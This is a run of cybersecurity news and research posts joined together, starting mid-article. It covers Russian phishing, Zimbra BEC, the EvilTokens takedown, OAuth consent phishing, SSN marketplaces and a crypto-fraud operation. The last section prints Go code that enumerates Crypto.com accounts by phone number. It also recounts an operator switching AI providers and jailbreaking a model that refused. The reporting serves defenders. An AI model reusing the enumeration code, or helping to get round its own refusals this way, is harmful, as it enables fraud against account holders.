The White House, along with several AI companies, have also accused China of distilling U.S. models in order to power open-weight models run by Chinese companies.

Indicators of compromise can be found on Proofpoint’s website.

The post AI policy circles targeted in China-linked phishing operation appeared first on CyberScoop.

A group of Russian government hackers is refining its attacks to make it easier to eavesdrop on victims and significantly expand its targets among governments, think tanks and nonprofits around the world, with an emphasis on Ukraine, Microsoft research published Tuesday concludes.

The company examined a change in the approach of a group it calls Star Blizzard, which is affiliated with the Russian Federal Security Service (FSB), and its novel malware, RedFlick.

“In 2026, Microsoft observed Star Blizzard shift from exclusively targeted spear-phishing operations to also conducting larger-scale phishing campaigns,” Microsoft wrote in a blog post. “The larger-scale phishing operations were observed at a scale not previously seen from the actor, ranging from tens to hundreds of email messages per campaign. This change likely reflects the actor’s adoption of a mass-mailing phishing platform to automate campaign execution and increase the likelihood of successful compromises by significantly expanding the initial targeting pool.”

Microsoft said the RedFlick campaigns have targeted Ukrainians, as well as financial institutions and governments that have supported Ukraine. It said it has seen the activity affect over 100 organizations that are primarily in the United States or United Kingdom.

One of the things that makes RedFlick effective isn’t just its pure volume, but the fact that its “infection flow only requires a single user interaction, reducing friction in the compromise process,” the company said in its blog post.

The most common phishing lure is inviting potential victims to exclusive events, but it also solicits its targets with information about supposed tax audits, payment notices and fines.

“Since January 2026, Microsoft observed at least 13 distinct large-scale phishing campaigns targeting primarily NGOs, think tanks, and government organizations worldwide,” the company wrote.

The initial targets were in Ukraine but by spring it was going after those outside the nation it invaded in 2022. “The actor’s shift from Ukraine-focused operations to global targets could indicate Star Blizzard initially targeted Ukraine to test their new capabilities,” Microsoft wrote.

RedFlick has been a key adaptation as “a malware delivery technique that helps evade detection by initiating a set of scheduled tasks to deploy the actor’s custom backdoor, CosmicPulse,” the company said.

This isn’t the first time that Microsoft has called out Star Blizzard, with past observations coming in 2023 and 2025 and takedown efforts coming in 2024.

Star Blizzard has been known by other names as well: SEABORGIUM, Callisto Group, TA446 and COLDRIVER.

The post Russian hackers Star Blizzard expand targeting, change up tactics to reach Ukraine and beyond appeared first on CyberScoop.

Business Email Compromise (BEC) operates on a familiar playbook. Threat actors breach a mailbox, silently monitor operations, map approval chains, and ultimately exploit that access to divert funds or exfiltrate sensitive assets.

This dynamic is central to our analysis as we kick off a series around Rapid7's collaborative research with Zimbra; upcoming installments will explore technical details and broader findings based within the Zimbra Collaboration Suite. Our investigation disrupted the traditional BEC model in unexpected ways. We uncovered over 50 vulnerabilities, and found that several allow attackers not just to observe environments, but to actively rewrite them by impersonating senders without credentials, controlling inbox visibility, and altering shared documents and calendars.

Business Email Compromise in action: Digital abuse of trust

None of this is theoretical for Zimbra. But don’t take my word for it, just ask Russia. CISA keeps putting Zimbra bugs into the Known Exploited Vulnerabilities catalog, and the last three years make the point on their own:

• CVE-2024-45519, command injection in the postjournal service, unauthenticated command execution. Proofpoint saw attackers stuffing base64 payloads into CC fields on September 28, 2024. CISA added it to KEV on October 3.

• CVE-2025-27915, stored XSS in the Classic Web Client, triggered by a crafted .ICS attachment. It is used as a zero-day against Brazilian military targets to steal mail and quietly set forwarding filters. It went into KEV in October, 2025.

• CVE-2026-73570, unauthenticated command injection through SNMP notification handling. CISA added it on August 21 of this year and gave federal agencies three days. Shadowserver has been counting somewhere north of 260 compromised instances while hunting for exploitation artifacts.

Go back further and the pattern holds. Rapid7 tracked widespread exploitation of CVE-2022-27925 and CVE-2022-37042 in 2022, a path traversal chained with an authentication bypass that let attackers drop a JSP shell on a Zimbra server without credentials. Google's Threat Analysis Group later documented four separate threat groups working the same zero-day known as CVE-2023-37580. Each of these groups went after email, credentials, and authentication tokens. Attackers figured out a long time ago that the system sitting in the middle of everyone's communication is worth the effort. So when you find a set of bugs that let you write to that system instead of only reading from it, data theft stops being the interesting part.

Send an email as your CFO without ever touching their password, and you have the front half of a very convincing BEC. Keep control of the mailbox afterward and you have the back half, too. Here, the attacker has a strategic choice. They can delete the sent message to hide their tracks, effectively wiping the trail of the fraud OR they can choose to leave the message in the Sent Items folder. By doing so, they ensure the CFO sees 'evidence' of the email they supposedly sent, creating a gaslighting scenario where the victim is left questioning their own actions. Whether the attacker cleans up or leaves the trail, they are shaping the organization’s perception of reality. In the ensuing investigation, where Finance sees a sent request and the CFO sees no such activity, the organization is trapped in a conflict of evidence. At that point, BEC looks less like traditional fraud and more like a psychological operation.

Documents make it worse, as Zimbra is not just a mail server. The collaboration side holds the files employees actually use to make decisions. An attacker who can plant a fake HR memo or financial summary in an executive's enterprise drive, and make it look like it came from a peer they trust, is starting from a much better position than someone attaching a PDF to a cold email.

Say a document shows up from HR about a confidential restructuring, and a few days later an email from a trusted executive references it. Neither piece has to carry the whole deception, as each one props up the other.

Calendar warfare and manufactured enterprise reality

Then there is the thing I have started calling ‘calendar warfare.’ Meetings can be modified or deleted without generating the notification trail users expect to see. RSVP status can also be flipped. Maybe a key executive is changed from Accepted to Declined and leadership might reschedule, or move ahead without them, or read the whole thing as a deliberate opt-out.

It works in the other direction too. An "Emergency Board Meeting" lands on an executive's calendar with a believable organizer, a popup reminder, and a malicious Zoom link. When the reminder fires, the victim is not sizing up a suspicious email that arrived thirty seconds ago. They are joining a meeting that has been sitting in their calendar for two days. And the calendar is not some exotic attack surface nobody has thought of. If we look back at CVE-2025-27915, the delivery vehicle was a calendar invite.

Stack all of it together now – a financial document appears, a trusted executive emails about it, then a mandatory meeting shows up to discuss it. And the attacker still has the ability to clean up some of what gets left behind. Every artifact the victim checks lives inside a system they have no reason to question, and all of them tell the same fabricated story.

I keep coming back to the phrase 'manufactured enterprise reality'. I have touched on the idea in The Monday Brief, that attackers get to borrow whatever trust an organization has already extended to its own tooling. Zimbra makes it concrete. The platform supplies the credibility, so the attacker does not have to build any.

Collaboration suites quietly became systems of record. Email is the record of who said what. Calendars are the record of who agreed to be where. Classic BEC abuses the trust between two people. The scenario we’ve discussed here abuses the machinery those people use to decide who to trust in the first place. Once employees are making real business decisions off fabricated context, stealing data is the least of your problems.

Microsoft, along with a group of industry partners, disrupted EvilTokens, a short-lived but highly consequential cybercrime platform that investigators linked to more than 12,000 compromised Microsoft customer email inboxes across more than 10,000 organizations globally, the company said Tuesday.

Acting on federal court order Sept. 15, Microsoft and partners seized 50 websites the phishing-as-a-service used for operations and disabled more than 175 domains linked to EvilTokens’ supporting infrastructure. 

EvilTokens, launched in February 2026, was “a powerful cybercrime platform that used AI at every step of the attack chain — from compromising email accounts to designing intricate roadmaps for financial fraud and scams,” Steven Masada, associate general counsel and general manager of Microsoft’s Digital Crimes Unit, wrote in a blog post.

About 1,000 cybercriminals used EvilTokens over the course of its operation, a Microsoft spokesperson told CyberScoop.

The service was centered on an AI-style chatbot that cybercriminals used to analyze victims’ inboxes, identify trusted relationships, payment authorizations and other sensitive details that could facilitate fraud.

“AI was not simply helping attackers write more convincing messages. It helped them decide who to target, who to impersonate, and how to most effectively exploit the relationship to extract as much money as possible,” Masada wrote. 

EvilTokens was one of the most widely used phishing-as-a-service platforms prior to its takedown. It facilitated business-email compromise campaigns by stealing session tokens that allowed cybercriminals to sift through a victim’s inbox and maintain persistent access.

“We cannot estimate the total fraud attributable to all EvilTokens activity. However, we were able to correlate at least 13 complaints filed with the FBI’s Internet Crime Complaint Center to EvilTokens-linked activity, representing approximately $1.7 million in reported losses,” a Microsoft spokesperson said. “Because many incidents go unreported and not all victims can be definitively linked to specific campaigns, we believe this is a conservative estimate.”

Victims of EvilTokens were largely concentrated in the United States, Canada, the United Kingdom, Australia, India and France, according to Microsoft. SpyCloud, which supported the takedown, identified compromised email domains spanning 79 countries.

Microsoft said it also identified two men behind EvilTokens — Felix Utomi and Waidi Segun Adams — and attributes the development and support of the platform to Storm-2992, a threat actor unaffiliated with any other known cybercrime groups.

The United Kingdom’s Metropolitan Police acted on that information Sept. 18 when it served warrants in the greater London area, arrested the men accused of making articles for use in fraud and money laundering and seized their digital devices.

The Metropolitan Police said it received information from Microsoft about EvilTokens’ administrators in August. Utomi and Adams were released on bail as the investigation continues. 

“The two primary operators identified in our investigation were residing in the U.K.,” a spokesperson for Microsoft told CyberScoop. “While our investigation focused on those individuals, we believe others may have supported the operation in various capacities.”

Microsoft’s legal filing in the U.S. District Court for the Eastern District of Virginia refers to five additional unidentified people allegedly acting as support personnel and users.

Microsoft and others involved in the EvilTokens takedown, including Health-ISAC, Cloudflare, OpenAI, Shadowserver and TRM Labs, didn’t fully quantify how much fraud the service enabled, but it gained popularity quickly among cybercriminals and was lucrative for its operators.

Coinbase, which also aided the investigation into EvilTokens, said it traced about $1.1 million in revenue for EvilTokens from its paying customers. The virtual currency company’s threat researchers found more than 1,000 deposits to EvilTokens from more than 700 distinct addresses through June 2026. 

Operators sold access to the service through Telegram for a $1,500 initiation fee and a recurring $500 subscription. EvilTokens significantly lowered the barrier to entry for cybercriminals by including specialized tools for identity attacks, cloud systems, social engineering and financial fraud in a single interface.

The service allowed cybercriminals to map organizational structure and permissions in Microsoft Graph, which enabled lateral movement, researchers said. With active tokens gained through a collection of highly-targeted phishing lures, cybercriminals consistently bypassed multi-factor authentication, email gateways and endpoint security tools.

Microsoft said the platform’s creators developed portions of the platform with AI and it uncovered capabilities from multiple AI models. 

“It packaged much of the criminal process into a commercially run service, complete with subscription pricing, customer support, management dashboards and tools designed to move customers from account access toward financial exploitation,” Masada added.

The companies and organizations involved in the globally-coordinated takedown identified and notified potential victims, shared indicators of compromise and shared intelligence with law enforcement about EvilToken’s operators and some of its customers.

Experts advised organizations and employees to treat unsolicited device codes as a red flag, assume compromised accounts are fully cataloged in minutes, and independently verify requests to change payment information or redirect funds.

“The infrastructure supporting EvilTokens has been disrupted, but the model it demonstrated will not disappear with it,” Masada warned.

The post Microsoft and partners disrupt EvilTokens, a comprehensive cybercrime service for financial fraud appeared first on CyberScoop.

Source

Attackers are targeting prominent, high-profile people, their family members and acquaintances on a commercial messaging application to gain long-term access to their accounts containing sensitive data, the FBI warned in an alert Tuesday.

Officials did not describe the objectives or origins of the attackers, which have more recently impersonated government officials, journalists and publicly known personalities. Attackers are tricking victims into granting them access to a legitimate cloud service, such as Microsoft or Google, under the guise of reviewing a draft article or document.

The ongoing threat, which the FBI has been tracking since late 2025, showcases a “deceptive, sophisticated approach to access user accounts without requiring a password,” the FBI wrote in the public service announcement. The malicious links, which enable OAuth consent phishing, provide attackers with persistent access to a targeted victim’s account.

“Once permission is obtained, it can only be revoked by the victim invalidating the token in their application security settings — not by changing the password,” the FBI wrote.

Authorities did not provide any details about the victims targeted by the campaign or how many people have already been compromised by these attacks. Threat actors previously impersonated event coordinators and planners, using invitations and identity verification requests as lures to gain access to their accounts.

By social engineering unsuspecting victims via OAuth consent phishing, attackers gain full visibility into the target’s configured permissions, allowing them to access emails, files and other sensitive data.

“If the user approves the request, they unwittingly grant high-level access to a malicious application controlled by the cyber actor,” the FBI added. “By registering malicious applications through legitimate authorization protocols and using social engineering tactics, cyber actors can bypass both passwords and multi-factor authentication, which makes consent phishing especially dangerous.”

OAuth is a standardized and widely adopted protocol for authorizing access to applications and other services, including APIs. The standard uses tokens to establish and maintain authorized access to separate resources or services. 

The FBI encouraged people to scrutinize communications from unfamiliar phone numbers or accounts, independently verify the identity of the sender and only grant access to trusted applications.

The post FBI raises alarm over deceptive phishing campaign targeting prominent people appeared first on CyberScoop.

Introduction

Despite modern verification controls, identity theft remains one of the most pervasive threats to both individuals and enterprise organizations. U.S. Federal Trade Commission statistics show over 1 million identity theft reports annually, with related fraud and imposter scams accounting for billions in financial losses each year. While stolen credit cards enable rapid, short-term monetization, Social Security numbers (SSNs) represent a far more permanent and dangerous tier within the cybercrime ecosystem, because unlike payment cards, they cannot simply be deactivated. Once exposed, an SSN can support enabling unauthorized lines of credit, synthetic identity fraud, and sophisticated tax scams.

When exposed identity data belongs to corporate executives, board members, and other high-profile employees, the risk can extend beyond the individual. Threat actors target these high-profile individuals not just for their premium credit profiles, but to leverage their compromised identities for executive impersonation, corporate espionage, and downstream extortion. Rapid7’s recent alert telemetry underscores the severity of this targeted exposure: since early 2026 alone, we identified 476 instances of compromised SSN records across 395 unique corporate personnel. Over 73% of these exposures directly targeted top-level leadership, with C-suite executives comprising 44.6% of affected profiles and Presidents making up another 28.6%. Unsurprisingly, given the geographical nature of SSNs, 95.6% of these leaks stemmed from U.S.-headquartered organizations, concentrated heavily in high-value sectors like Financials (over 25%) and Industrials (17%).

In this blog, we explore the operational mechanics of the underground identity economy, focusing on three dominant SSN marketplaces tracked by Rapid7: Xilo, Bankom, and PeopleFinder, which together account for 81.5% of all executive SSN leaks in our dataset (led by Xilo at 40.8%, Bankom at 21.8%, and PeopleFinder at 18.9%). Using Rapid7 alert telemetry from the past year, we look at the profiles of affected corporate executives, how these marketplaces operate, and highlight how proactive dark web monitoring can mitigate upstream identity exposure before it is weaponized.

Why stolen SSNs retain their value

Not all stolen data retains its value for the same length of time. Leaked credentials can be reset, payment cards can be cancelled, and session tokens eventually expire. While these data types remain highly sought after by cybercriminals, their usefulness often depends on acting quickly before the victim or service provider invalidates them.

SSNs differ as they are effectively permanent, serving as a core identity attribute. Once exposed, they can remain valuable for years, enabling a wide range of fraud schemes long after the original breach. When combined with other personally identifiable information (PII), such as a victim's name, date of birth, address, phone number, and employment history, an SSN becomes the foundation of a comprehensive identity profile that can be bought, sold, and repeatedly abused across the criminal ecosystem.

These identity profiles enable far more than traditional identity theft. Threat actors use them to open fraudulent financial accounts, create synthetic identities, bypass identity verification processes, file fraudulent tax or government benefit claims, and support highly targeted social engineering campaigns. Rather than serving a single purpose, a complete identity record becomes a reusable asset that can be monetized multiple times by different threat actors.

For corporate executives and other high-profile employees, exposed identity data can also create risk for the organization they represent. Publicly available information, from regulatory filings to corporate biographies and social media, can be combined with stolen identity data to build highly detailed profiles. These enriched records increase the credibility of phishing, business email compromise (BEC), and executive impersonation attacks, allowing threat actors to target not only the individual but also the organization they represent.

This durability has fueled a thriving underground economy where identity records are treated as searchable, reusable inventory rather than one-time commodities. The marketplaces examined in this research demonstrate just how mature and accessible this ecosystem has become.

Anatomy of an SSN marketplace

While platforms like Xilo, Bankomat, and PeopleFinder present a highly organized, user-friendly storefront, they operate strictly as downstream clearinghouses rather than original creators of their inventory. The vast supply of SSNs flooding these networks relies on a distinct, multi-tiered underground supply chain. The massive volume driving these platforms is primarily fueled by large-scale institutional network breaches, where wholesale hackers compromise data aggregators, healthcare systems, and financial providers. These massive SQL databases are sold in bulk on deep-web forums, where marketplace administrators purchase, parse, and upload them into their searchable storefronts. According to annual telemetry from the Identity Theft Resource Center, billions of individual data records are exposed annually through these mega-breaches, accounting for the vast majority of the inventory available online.

Another source of identity data comes from infostealer malware and targeted phishing campaigns. While mass breaches provide wholesale numbers, infostealers scrape highly contextual local data, such as saved browser forms and PDF documents like tax returns or corporate onboarding paperwork stored on unmanaged personal devices. When these localized logs are parsed by marketplace administrators, they yield the fresh, high-value identity profiles that allow buyers to target specific corporate leaders.

Although these platforms tap into a similar upstream supply chain, how they package and monetize this data varies significantly. To stand out in a maturing, highly competitive cybercrime market, each marketplace focuses on its own operational niche, ranging from ultra-low pricing and identity enrichment features to multi-asset carding integration and legacy data consistency. The following sections provide a deep dive into each marketplace, highlighting their specific functionalities, user interfaces, and distinct market advantages.

Xilo 

Xilo has been active since at least March 2025. The marketplace is hosted as a Tor hidden service, while also maintaining mirror sites on the clear web to improve accessibility and resilience.

Users can search for specific individuals by name, state, country (US or Canada), or year of birth (Figure 1). They can also request records that include phone numbers and email addresses in addition to the victim's SSN. This can increase the value of the records by reducing the need for threat actors to source additional PII elsewhere. During our analysis, however, we did not identify any records that included email addresses, while records containing phone numbers were available at the same price as standard SSN records. Search results can also be sorted by price, although the cost appears to be fixed at $0.25 per SSN record.

⠀

Search results typically display the victim's full name, physical address, and date of birth before purchase. This information alone can help threat actors identify specific individuals for targeted campaigns, while the SSN is revealed only after the purchase is completed (Figure 2).

⠀

In addition to standard searches, Xilo offers a reverse lookup service that accepts an SSN or phone number and returns additional PII, including the victim's full name and phone number (Figure 3). This service costs $0.50 per lookup, suggesting that enriching an existing identity profile is considered more valuable than purchasing an SSN alone. Threat actors can use this functionality to expand records obtained through the standard search, increasing the amount of PII associated with a single individual and, consequently, the potential for identity fraud.

⠀

The marketplace is supported by a Telegram channel used to announce technical updates and new domains. Although activity on the channel has been relatively limited, it has attracted more than 500 subscribers, providing an indication of interest in the service. Like many established cybercriminal services, Xilo appears prepared for domain disruptions by maintaining alternative access points and communicating them through Telegram, adopting the kind of resilience and service-continuity practices more commonly associated with legitimate online services.

Xilo accepts several cryptocurrencies, including Bitcoin, Litecoin, Monero, Ether, and Tether (USDT). Support for USDT is relatively uncommon among underground marketplaces and may reflect the marketplace's focus on US-based identity data. The minimum deposit is just $1, lowering the barrier to entry for new users, while bonuses are offered for deposits exceeding $100 to encourage larger account balances.

Beyond its own infrastructure, Xilo actively advertises on well-known cybercrime forums, including XSS, as well as carding communities such as WWH-Club and Altenens (Figure 4). This marketing strategy is common among underground marketplaces seeking to expand their customer base. More notably, Xilo's presence on carding-focused forums highlights the close relationship between stolen payment data and identity information, illustrating how different segments of the cybercrime ecosystem increasingly overlap and complement one another.

Bankomat

Active since at least March 2022, Bankomat is one of the more established marketplaces operating in the underground identity theft ecosystem. The platform is accessible as a Tor hidden service while maintaining multiple clear web domains to improve availability. Its emergence coincided with the shutdown of several prominent carding and PII marketplaces, including Joker's Stash and SSNDOB Marketplace, suggesting that Bankomat sought to capitalize on the resulting gap by combining identity data sales with traditional carding services.

The marketplace prominently lists its active domains and encourages users to save its onion address, describing it as the most reliable way to access the service. This reflects an awareness of the operational challenges faced by long-running underground marketplaces, particularly the risk of domain seizures and takedowns. By maintaining multiple access points and actively directing users toward its Tor service, Bankomat demonstrates the operational maturity needed to retain its customer base despite infrastructure disruptions.

Users can search for individuals by first and last name, combined with an additional identifier such as state, city, ZIP code, or date of birth (Figure 5). The search functionality is free, allowing users to identify potential victims before deciding whether to purchase a record. Search results display the victim's full name, date of birth, and physical addresses, while the SSN is revealed only after purchase at a fixed cost of $4 per record. Unlike Xilo, however, Bankomat does not offer additional identity enrichment services or the ability to purchase supplementary PII directly through the platform.

⠀

Beyond SSN records, Bankomat also functions as a traditional carding marketplace by offering stolen payment card details for sale, obtained through third-party sellers. The platform supports card validation services, including Viper and 4chk, allowing buyers to verify whether stolen payment cards remain active before using or reselling them. Similar functionality is offered by established carding marketplaces, such as Findsome and UltimateShop.

This combination of identity records, payment card data, and validation tools positions Bankomat as a one-stop marketplace for financially motivated threat actors. Rather than sourcing stolen identities and payment data from separate platforms, buyers can acquire multiple data types associated with the same victim through a single service. While SSN records cost $4, stolen payment card details are typically advertised for approximately $10, suggesting that Bankomat places greater commercial emphasis on its carding business, likely reflecting both higher profit margins and sustained demand within the underground economy (Figure 6).

⠀

Bankomat currently accepts payments exclusively in Bitcoin, in contrast to newer marketplaces that increasingly support a wider range of cryptocurrencies to appeal to a broader customer base.

PeopleFinder

Active since at least February 2023, PeopleFinder is a successor to the SSNDOB Marketplace, whose primary domains were seized by law enforcement in June 2022. Following that takedown, the service re-emerged through a network of lookup mirrors using clear-web-sounding domain names such as “PeopleFinder.” The connection is also visible in the source code, where the front-end login page retains the original “ssndob” title text and logo. Through this infrastructure, the platform provides access to the same legacy database of more than 24 million compromised U.S. PII records.

To maintain a steady customer stream, PeopleFinder actively advertises its database on high-profile cybercrime and carding forums like WWH-Club and Exploit. This deliberate marketing keeps the service highly visible to financially motivated threat actors seeking verification tools for downstream fraud.

The layout itself is highly streamlined, featuring a basic search bar that closely mirrors Bankomat's interface. Users can search the platform's database by name, date of birth, or physical address completely free of charge. The initial search output displays the victim's full name, date of birth, and associated physical addresses, allowing a threat actor to confirm they have targeted the correct corporate executive before paying for the record (Figure 7).

To reveal the hidden SSN, users must pay a fixed cost of $1.50 per lookup, putting its pricing structure right between Xilo and Bankomat. This strict, hyper-commoditized focus solely on core SSN details directly mirrors the operational blueprint of the original SSNDOB model. Rather than expanding into supplementary data types like phone numbers or credit cards, the operators chose to preserve their highly efficient, legacy pay-per-lookup infrastructure. The platform relies exclusively on Bitcoin transactions.

What Rapid7 telemetry reveals about the executive threat landscape

By monitoring dark web SSN marketplaces, Rapid7 actively alerts clients when leaked records of their executives or designated employees are discovered.

Since the beginning of 2026, our telemetry has identified 476 instances of compromised SSN records, representing 395 unique individuals, as several monitored personnel were affected by multiple exposures. Within this sample, most of the leaked SSNs were recorded in Xilo (40.8%), followed by Bankom (21.8%) and PeopleFinder (18.9%) (Figure 8).

⠀

Given that SSNs are issued within the United States, the overwhelming majority of compromised records in our dataset, 95.6%, were linked to organizations headquartered in the U.S., with others located in Spain, Canada, and Japan, trailing significantly behind (Figure 9).

⠀

Financials represented the largest sector in our sample, accounting for more than a quarter of organizations whose monitored executives appeared in leaked SSN records, followed by Industrials at 17% (Figure 10). One possible reason for the concentration in Financials is the volume and sensitivity of customer and employee data these organizations hold, including PII and tax-related information, which can make exposed identities particularly valuable to threat actors. Industrials may also present attractive targets because of their interconnected supply chains, where compromised identities can potentially support broader fraud, impersonation, or access attempts across partner ecosystems.

⠀

A closer analysis of the roles of targeted personnel reveals that C-suite executives (such as Chief Executive Officers and Chief Financial Officers) make up the largest portion at 44.6%. Presidential positions represent the second-largest segment at 28.6%, while functional management and administrative roles account for 13.9% of the compromised profiles.

These findings may reflect a natural monitoring bias, since organizations are more likely to prioritize senior personnel whose compromise poses a greater security risk. Even with that caveat, the concentration among senior leadership reinforces why executive identity exposure deserves specific attention.

Compromised executive PII can support targeted phishing, impersonation, and other social engineering campaigns against both the individual and the organization they represent.

From detection to action: Responding to exposed executive PII

Because SSNs cannot simply be reset after exposure, organizations need a way to identify compromised executive PII early and determine what action can reduce the resulting risk.

These alerts are triggered using customer-defined assets, specifically the names of designated VIPs. When a potential match is flagged, Rapid7 analysts conduct preliminary OSINT verification, checking biographical details such as the VIP's date of birth and primary locations, to confirm the listing's accuracy before issuing an alert to the customer.

Once alerted, customers can choose to purchase the exposed SSN record directly through the "Ask-an-Analyst" service using their allocated dark web purchase credits (Figure 11). This capability allows security teams to inspect the full record, verify whether the exposed SSN is genuine, and determine whether additional protective measures are necessary for the affected executive. Furthermore, on platforms like Xilo, purchasing the listing removes the record from the marketplace entirely, actively taking it off the shelf before other threat actors can acquire it.

Conclusion and strategic defense actions

The illicit marketplaces examined by Rapid7 show how cheaply and efficiently stolen identity data can now be searched, purchased, and enriched. For executives and other high-profile employees, an exposed SSN can remain useful to threat actors long after the original compromise and may support identity fraud, social engineering, executive impersonation, or business email compromise. Because that information cannot simply be reset, organizations should treat executive identity exposure as an ongoing security risk.

To reduce that risk, executive protection and security teams should consider the following actions:

• Monitor executive exposure on the dark web: Use digital risk protection capabilities configured with executive names, known locations, titles, and other relevant identifiers to detect compromised PII across illicit marketplaces and underground channels.

• Use removal or takedown options where available: Where supported, work with security providers to acquire or remove exposed identity records before they are purchased and reused by other threat actors.

• Reduce executives’ public digital footprint: Review public records, data-broker listings, corporate biographies, and social media profiles to limit unnecessary exposure of information such as dates of birth, home addresses, and phone numbers that can be used to enrich stolen records.

• Require out-of-band verification for sensitive requests: Introduce mandatory secondary confirmation for financial transactions, access requests, or administrative changes involving executive accounts to reduce the risk of successful impersonation.

• Provide targeted phishing and impersonation training: Give C-suite members, board members, and executive assistants focused guidance on how attackers can combine leaked PII with social engineering to make phishing and impersonation attempts more convincing.

The persistence of SSNs means the risk does not end when the original breach is discovered. Ongoing monitoring, rapid validation, and stronger verification controls can help organizations identify exposure earlier, reduce the value of stolen identity data, and make it harder for threat actors to turn compromised executive information into a wider attack against the business.

Operation ASTERIX overview

Rapid7 researchers identified an exposed web directory on infrastructure used to support a cryptocurrency fraud operation. The server contained raw phone-number datasets, account-validation tools, enriched lead records, phishing panels, voice-dialing scripts, fake wallet applications, persistence mechanisms, and Telegram exfiltration code. Among the artifacts was evidence that the operator relied on AI coding assistants throughout the campaign's development; recovered prompts, shell history, and project files show AI being used to package Electron applications, obfuscate code, troubleshoot builds, modify phishing infrastructure, and prepare malware for distribution. When one model began resisting parts of that workflow, the operator switched providers and attempted to bypass the next model's safety controls with a custom jailbreak prompt. Together, these artifacts provide an unusual view into how AI was integrated into the development of an active phishing operation rather than simply being used to generate isolated snippets of code.

We track this activity as Operation ASTERIX, named after the Asterisk open-source telephony platform recovered on the server. The operator used Asterisk to automate the campaign's vishing infrastructure, coordinating phone calls with phishing emails and counterfeit wallet applications.

The recovered material shows how the operator combined several techniques:

• Bulk account enumeration against cryptocurrency platforms

• Phishing emails that created fake support cases

• Vishing calls that referenced details from those emails

• Counterfeit Ledger, Trezor, and Exodus applications

• Seed-phrase theft and Telegram exfiltration

• AI-assisted development, including an attempt to bypass an LLM’s safety controls

Much of the value around this finding is timing. Much of the infrastructure was still in use or under development when it was exposed. This allowed Rapid7 Labs to notify the appropriate providers and authorities while the operation was still active, while also documenting the campaign's tooling and development process.

Rapid7 Labs disclosed the identified infrastructure and findings to the relevant authorities, including Apple's security team, and collaborated with them to support action against the activity described in this report.

Technical analysis and observed attacker behavior

The recovered files show a multi-stage operation designed to focus social engineering on confirmed cryptocurrency users. The attacker used account-checking tools to confirm which phone numbers were tied to active crypto exchange accounts, narrowing a raw dataset down to confirmed holders. From there, the recovered infrastructure supported multiple outreach channels. The phishing panels generated fake support cases and verification codes that were later referenced during phone calls, while files such as extract_sg_numbers.py and sg_leads_server.py suggest additional lead-management and direct-outreach capabilities. Although call logs were not recovered to reconstruct every interaction, the recovered artifacts indicate that these channels ultimately directed victims toward counterfeit wallet applications designed to steal recovery phrases. 

⠀

Each stage narrowed the target pool or increased trust before the operator asked the user to install software or provide wallet recovery information. That structure is important for defenders, as it creates several points where the campaign can be detected or interrupted before seed phrases are stolen.

Account validation

The server had approximately 885,000 phone numbers organized into multiple files by region and source. The largest file included 316,002 German mobile numbers, with additional lists covering Hong Kong, Bulgaria, and directories referencing UK, US, Canadian fintech, and Ledger-related lists split across 54 countries.The operator ran the numbers through account-validation tooling to identify people who were more likely to hold cryptocurrency.

For example, one directory, cdc/(Crypto Dot Com), appears to refer to Crypto.com. It contained a Go-based account validation tool that submitted phone numbers to a Crypto.com account-existence endpoint (app.mona.co/api/passkeys/verify_option/) using 300 concurrent threads, retry logic, and Bright Data ISP proxy pools. The go script allowed the operator to identify phone numbers associated with Crypto.com accounts before moving those users into the next stage of the campaign.

func checkPhone(phone string, proxy string) string {
	body := fmt.Sprintf(`{"phone":"+%s"}`, phone)

	req, err := http.NewRequest("POST", "https://app.mona.co/api/passkeys/verify_option/", bytes.NewBuffer([]byte(body)))
	if err != nil {
		return ""
	}

	req.Header.Set("accept", "*/*")
	req.Header.Set("content-type", "application/json")
	req.Header.Set("origin", "https://app.mona.co")
	req.Header.Set("referer", "https://app.mona.co/")
	req.Header.Set("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
}

Figure 2: checkPhone() function from cdc/main.go abusing Crypto.com's passkey verify_option endpoint to verify whether a phone number owns an account.

The recovered logs show that 43,066 accounts were confirmed from the German dataset of 316,002 phone numbers, a hit rate of approximately 13.6%. A later validation run against a Hong Kong dataset was less successful due to rate limiting that reduced throughput and increased request failures.

The operator also maintained a separate Kraken checker, tooling that included campaigns labeled for UK, Canadian fintech, and Ledger datasets. The Ledger-related data was divided into 54 country files, suggesting the operator was looking for users who had both a known association with a hardware-wallet provider and an account on a cryptocurrency exchange.

The raw account matches were then reduced to a smaller set of enriched leads. The files valids.txt, valid_leads.db, and other, related databases contained records with names, phone numbers, email addresses, geographic details, account information, and, in some cases, payment-card context.

This enrichment is important because the scammer instead of making cold calls to random phone numbers contacted people whose cryptocurrency accounts had already been validated and enriched with personal details. During a call, they could reference a target's name, email address, location, account information to make the interaction appear legitimate and build trust before attempting to steal wallet credentials or recovery phrases.

The phishing schema 

Operation ASTERIX used a multi-stage phishing schema.The sequence appears to have worked as follows:

⠀

The email and phone call supported each other. The email made the call appear to be expected, while the caller’s knowledge of the code and case identifier made the email appear legitimate.

⠀

Email phishing

The recovered Flask panels generated branded HTML emails impersonating companies like Crypto.com, Binance, and other major financial institutions. Each verification code, making the interaction appear to be part of a legitimate support process.

⠀

Vishing

The recovered server included Asterisk and 3CX , a commercial business phone system often used by organizations for call routing and customer support. The operator used scripts including autodialer.sh, power_dialer.sh, and telegram_dialer_bot.py to automate outbound calls and coordinate them with the phishing infrastructure.

Before the call, the scammer had access to the target's enriched lead record, which included their name, phone number, location, exchange association, and any account details recovered during the enrichment stage. Combined with the fake case identifier and verification code from the phishing email, this gave the caller enough information to convincingly impersonate a customer support representative.

During the call, the scammers take the next step in the attack. Depending on the pretext, the operator could direct them to install a fake wallet application, perform a bogus security check, or enter their wallet recovery phrase under the guise of “protecting” their account.

The recovered logs suggest this was a targeted operation rather than a high-volume calling campaign. One phishing panel recorded 20 successful lead lookups and six phishing emails over roughly two weeks, a level of activity that is more consistent with operators handling calls individually than with automated mass phishing.

Fake crypto wallet applications

During our investigation we  recovered fake apps for Trezor Suite, Ledger Live, and Exodus for macOS and Windows. All three were designed to steal cryptocurrency wallets, however, each used a different approach to maintain the illusion that the user was interacting with legitimate software.

Fake Trezor Suite

The Trezor samples were the most developed of the three and came in three builds: macOS on Intel, macOS on Arm, and Windows. All three builds had the same app.asar payload (SHA-256 ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19) at roughly 5.87 MB. They came from one codebase and were only re-wrapped for each target OS. 

